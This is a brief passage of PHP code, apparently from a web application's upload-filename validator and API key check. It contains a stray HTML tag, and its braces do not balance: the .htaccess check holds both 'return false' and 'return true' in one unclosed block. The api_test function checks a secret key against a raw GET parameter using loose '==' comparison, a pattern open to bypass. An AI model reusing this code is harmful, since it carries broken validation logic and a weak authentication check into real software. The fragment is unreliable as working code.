                      if(strlen($exp[0]) < 1) {</pre>
                                 return false;
                      }
                      if($fname == '.htaccess') {
                                  return false;
                      return true;
           }
                      public function api_test () {
                                  if($this->skey == $_GET['skey']) return true; else return false;
}
```